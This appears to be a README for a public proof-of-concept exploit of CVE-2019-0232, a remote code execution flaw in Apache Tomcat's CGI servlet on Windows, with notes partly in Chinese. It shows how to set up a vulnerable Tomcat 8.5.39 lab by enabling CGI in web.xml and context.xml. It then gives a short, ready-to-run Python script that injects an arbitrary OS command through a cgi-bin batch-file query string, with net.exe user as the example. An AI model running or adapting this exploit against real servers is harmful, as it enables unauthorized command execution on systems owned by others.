CVE-2019-0232
Apache Tomcat Remote Code Execution on Windows - CGI-BIN
Windows上的Apache Tomcat远程执行代码 cgi-bin
使用：
Usage: python CVE-2019-0232.py url cmd
测试环境：
jdk8
apache-tomcat-8.5.39
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/apache-tomcat-8.5.39.zip
漏洞搭建：修改conf目录配置文件 启功CGI,启动tomcat server服务
参考 https://github.com/pyn3rd/CVE-2019-0232
apache-tomcat-8.5.39\conf\web.xml
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
apache-tomcat-8.5.39\conf\context.xml
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
编写python脚本：
import requests
import sys
# http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
url = sys.argv[1]
url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
cmd = sys.argv[2]
vuln_url = url + url_dir +cmd
print '''
_______ ________ ___ ___ __ ___ ___ ___ ____ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ / _ \__ \|___ \__ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | | | ) | __) | ) |
| | \ \/ / | __|______/ /| | | || |\__, |______| | | |/ / |__ < / /
| |____ \ / | |____ / /_| |_| || | / / | |_| / /_ ___) / /_
\_____| \/ |______| |____|\___/ |_| /_/ \___/____|____/____|
Apache Tomcat Remote Code Execution on Windows - CGI-BIN
By Jas502n
'''
print "Usage: python CVE-2019-0232.py url cmd"
print "The Vuln url:\n\n" ,vuln_url
r = requests.get(vuln_url)
print "\nThe Vuln Response Content: \n\n" , r.content